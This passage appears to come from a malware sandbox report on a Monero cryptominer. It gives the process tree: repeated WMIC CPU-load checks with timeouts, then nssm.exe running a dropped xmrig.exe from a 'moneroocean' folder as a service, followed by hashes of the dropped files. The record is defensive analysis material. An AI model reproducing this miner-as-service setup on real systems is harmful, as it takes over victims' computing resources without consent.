-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:64
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:668
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:204
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:2340 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4356
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD58792e2510934e2b8f33fa0b72e066470
SHA10ccfb023a552566b5104b9ac250c2d03a7b0a065
SHA2564b0d41daf770521bea716a222df0a388092d2da42b94dbc60ffc64c53bf10ede
SHA512f0879f5f9a9bfac521446999daa0cdc725651ea310006803ce44c0b79efc5eaa1eeb274b61b3d3d3bcb1fdacea4944a6d26364dafff13588e0c8184e44c8c1ae
-
Filesize
1KB
MD5148931279271b26a8653e48137364cfd
SHA1822611a24b054fb041c04fa9d19d491ede1d53f5
SHA256e26fb7a9e2a427ba074620a7b26a5b49ff5c3ed84f4ccfc6dabef041df98c00c
SHA512cbdd3105e5e832f247443ab81b77fbc212994321a3bce9351567dd83c6c5fcc3b5f44dc90014dd59bba3ae06673dc2440c57320e37bc13e8eebf53060e1e41f1
-
Filesize
1KB
MD5e1aa4708d5ffe91e65169eba724d48c8
SHA1e06e691fc1d488ce1f9e9c5c0a2d4d1efa0d1bcf
SHA256ee18a16ad93573049f3b6b8ae88adf19fe06ac9fac359796304d9a2db0ef71ed
SHA512bd535ffc730d0d31d0e11d3578258f2841b3da705199e844be2577112f1979128b8a1db06e59c7c569dd78ad50be6ef4ee27de9c992ff416da9d2a82a4331c0a
-
Filesize
1KB
MD58a00cc98444b4468d5ce3bb6aa4b071f
SHA1fb63570254179dd168bebd280c58d4aacbbf96c2
SHA25664fb1d2357d6b779e4ea90f46ac6f3b2549199da44f3409d53cd9a4240ec418b
SHA5124c74e24ac5414d6eaaec04f44e138eeed78f35718f7d361eb40c563c1394e01cb1e946932bd6335725c6d9d2de726d0f74cf0f5fad07077186d6b2f555292d0f
-
Filesize
1KB
MD500f3d8ecac864cefbb7c722bf06154f4
SHA1b25427b42901fbff338b5a075e4de8f1e950e241
SHA256e9cc8072e294d12a740b5e3d0a703dc9c20f5bfba091db021fe0bea78569acd4
SHA512a35ad01eba6f72a749a7edfe6a6400950abea714b8e5a14ddab710f95d653756c90418d53e07bc4b672c11d9b124b9c2b54ba534bf5f7b926bd373d0ba0086a4
-
Filesize
1KB
MD5d17a50c729faa45bd79c4f08da5d147d
SHA1e4c944454ce781f624b223b7f41d6c5982d8983b
SHA256054ec94b663f4a7f9340ae891340d2ab69c5910bc4f35f09349ccabb8a8311e2
SHA512ea526e083fb4d3d4884fcba6fccfb92c9c8933ebfcfc36d6a27e2fd488bd73394b8e89f679747b4fa21124602323eedaf55f600c6d6b02b1260b624bd67ca968
-
Filesize
1KB
MD5f5ded15d9df209cce393755ab1599d36
SHA11d400f0493ec4bc6f11bccbfff4f8a7f21ad4829
SHA2563ed71f94021f940b238c634dbccc6dbe84cd3e07a59d136bb49018ce1c349859
SHA5129bcf5839d7851bb8c6889b527a01254f313ea45d1d99471c67e138d31669e3d7469630ef9ef40d9f93e099931c36fac2928e81189af6c442b63bbacf1d7e7b2c
-
Filesize
1KB
MD54fa4f9bf7964c40b9e993bd591562311
SHA10460b25b6bcbc776e6e220ef08eba78d55ed1ca8
SHA25683484cb9289dcb916350c64d082eb0b884e616ddd2e3639226167f2af6054322
SHA5127083003657992c1fe924d8b76f276ecfecd83db7a808b8f05ac70d654f980c9f4f813da7d86d0391d84004fe71c891705c3f94ea24c5aca5cf4d4896639a5483
-
Filesize
1KB
MD5492aae8101308f6c96664992aad3971f
SHA1642349fdf6ca97ac42ab54ba4856423aa32bd6e8
SHA25605222d3eab4f5ed5fe0a27ef68cb6dc48673b34dc96731d364422b41ed206a4d
SHA51278c47847a2b45300776664b2afd99eca676b98c5af243dd2f37cde92c5479e0394de2d9dcc3ff3ea8ce3a0625e1ec4e3f7d6fcbed3fed01d90363808c86ce624
-
Filesize
1KB
MD5821b578aea29a6be8512e7c172466dae
SHA12f5ba9ef312c1455597485b0b1aa43a855f8ec75
SHA2565b3201dd60adfd9dea881266251bd84ee7ff38d7f6609b1bed78d42ad9b6fffc
SHA512cc3a07033542eb399d867fab8a98c88f64f036210c39ccafc67a91e586699bcb2d40a5530bf93a0bc89841e54a8754dd435a5b5d1e50cd307d776920e53bf2ea
-
Filesize
1KB
MD508dc9e444852b43c0db0cbb9a33e21f3
SHA1118fa2be1626a7bb9598ff3965986f96a6a18ab6
SHA256674197591da54147447879075ec8debbeffdc132772febbd98e4da7d4d40211e
SHA51291c74952412036473c528cf9e21e4091c0470a1a0b8ebd6747c51fafc882ea4ab96dee5fbbc638dac0ec01972f2f499c74978683e51cc2634d24c629feffec74
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD567099c11aee7715195c370daf8713cf6
SHA14ffe1365749d5828225c3c91efbf37524f6b4574
SHA25691a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8
SHA5124a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b
-
Filesize
2KB
MD5e3b9b22db047eeacf220bc3b9c7f4eb2
SHA13b32a79bfde5b7860537e969a65c9ce854794efb
SHA2565ef97aec367578d4ef6954f09f3ad4db6bb92d74dd08db7452c9e7bda32327d4
SHA5120f9f534bcf09077b826fee22bfcdb24cdef734ab10f903687107b28b28c2e45cfa72655ae5716561a4b2aade574595a373f27df380792aa7bec3281056ab7d27
-
Filesize
2KB
MD5a95317d05f94f08d17bd77cda0988c08
SHA190eee1a7ac3be0828fba575b1c9632efc4842564
SHA256ebe2ea08e88891c1195ac7d3a425582ed3bce8d5c3f20bfda043352cf3626a00
SHA512958795d47d5351b82406b8d4444b483025aa2b8e4a9505e1aa49b7674f1fb0c10fde40325d1cf706f3c3303368777b1a7d9af919893416bb367f7a8d3286afbf
-
Filesize
2KB
MD512d25779840bba866f4d71347a07eab7
SHA1ac6c036155c882c695d1cdcb2b654de79b9e7bfa
SHA2565c75ad14dc7bb90d38fc1812a02da90332708612e95681ba2cd0effc740f062f
SHA5125973a1b1bbafb7bdcae7ac93610c63ae34f48aa42bf174441171041d25e23db60b80fba1f79faedafca27f11037e07881975c3f8ace2a3091c06cab8b9ca6dfc
-
Filesize
2KB
MD588508a886b6fa68d53ea89c3f39d40cc
SHA11e85cf0db0b30289bb737843665d459013396029
SHA256f468ef658728172768c1253db8d93eafc21bfd72d8bbdf3676e9f40e8e4f99b5
SHA512deae44719d1d59709d99408d625aaaf9858aedb18d553b080531a3c2d728b59629c2fbed7b7dbb252e427918264905855858b1020ef588a85f359ae0aa759761
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e